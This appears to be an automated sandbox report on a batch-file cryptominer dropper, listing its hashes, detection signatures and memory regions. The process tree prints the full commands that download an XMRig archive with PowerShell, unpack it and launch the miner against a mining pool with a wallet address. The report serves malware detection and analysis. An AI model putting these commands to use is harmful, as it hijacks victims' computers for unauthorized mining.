Analysis

  • max time kernel
    1798s
  • max time network
    1788s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01-01-2024 07:21

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2420
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3208
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2304

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q5omxhuv.n3y.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • memory/2304-148-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-131-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-122-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-188-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-187-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-186-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-185-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-184-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-183-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-182-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-181-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-180-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-179-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-178-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-177-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-176-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-175-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-149-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-123-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-124-0x000001B5150D0000-0x000001B5150F0000-memory.dmp

    Filesize

    128KB

  • memory/2304-125-0x000001B515300000-0x000001B515320000-memory.dmp

    Filesize

    128KB

  • memory/2304-126-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-127-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-129-0x000001B515300000-0x000001B515320000-memory.dmp

    Filesize

    128KB

  • memory/2304-128-0x000001B5150D0000-0x000001B5150F0000-memory.dmp

    Filesize

    128KB

  • memory/2304-130-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-120-0x000001B480F10000-0x000001B480F30000-memory.dmp

    Filesize

    128KB

  • memory/2304-132-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-133-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-134-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-135-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-136-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-137-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-138-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-139-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-140-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-141-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-142-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-143-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-144-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-145-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-146-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-157-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-121-0x000001B514C90000-0x000001B514CB0000-memory.dmp

    Filesize

    128KB

  • memory/2304-174-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-150-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-151-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-152-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-153-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-154-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-155-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-156-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-147-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-158-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-159-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-160-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-161-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-162-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-163-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-164-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-165-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-166-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-167-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-168-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-169-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-170-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-171-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-172-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2304-173-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp

    Filesize

    11.0MB

  • memory/2420-6-0x00000215E1380000-0x00000215E1390000-memory.dmp

    Filesize

    64KB

  • memory/2420-4-0x00000215E1310000-0x00000215E1332000-memory.dmp

    Filesize

    136KB

  • memory/2420-10-0x00000215E1510000-0x00000215E1586000-memory.dmp

    Filesize

    472KB

  • memory/2420-25-0x00000215E1380000-0x00000215E1390000-memory.dmp

    Filesize

    64KB

  • memory/2420-34-0x00007FF9CF350000-0x00007FF9CFD3C000-memory.dmp

    Filesize

    9.9MB

  • memory/2420-29-0x00000215E1380000-0x00000215E1390000-memory.dmp

    Filesize

    64KB

  • memory/2420-28-0x00000215E1380000-0x00000215E1390000-memory.dmp

    Filesize

    64KB

  • memory/2420-5-0x00007FF9CF350000-0x00007FF9CFD3C000-memory.dmp

    Filesize

    9.9MB

  • memory/2420-26-0x00007FF9CF350000-0x00007FF9CFD3C000-memory.dmp

    Filesize

    9.9MB

  • memory/2420-27-0x00000215E1380000-0x00000215E1390000-memory.dmp

    Filesize

    64KB

  • memory/2420-7-0x00000215E1380000-0x00000215E1390000-memory.dmp

    Filesize

    64KB

  • memory/3208-42-0x0000023856C10000-0x0000023856C20000-memory.dmp

    Filesize

    64KB

  • memory/3208-66-0x0000023856C10000-0x0000023856C20000-memory.dmp

    Filesize

    64KB

  • memory/3208-41-0x0000023856C10000-0x0000023856C20000-memory.dmp

    Filesize

    64KB

  • memory/3208-40-0x00007FF9CF350000-0x00007FF9CFD3C000-memory.dmp

    Filesize

    9.9MB

  • memory/3208-93-0x0000023856D30000-0x0000023856D3A000-memory.dmp

    Filesize

    40KB

  • memory/3208-80-0x000002386F160000-0x000002386F172000-memory.dmp

    Filesize

    72KB

  • memory/3208-117-0x00007FF9CF350000-0x00007FF9CFD3C000-memory.dmp

    Filesize

    9.9MB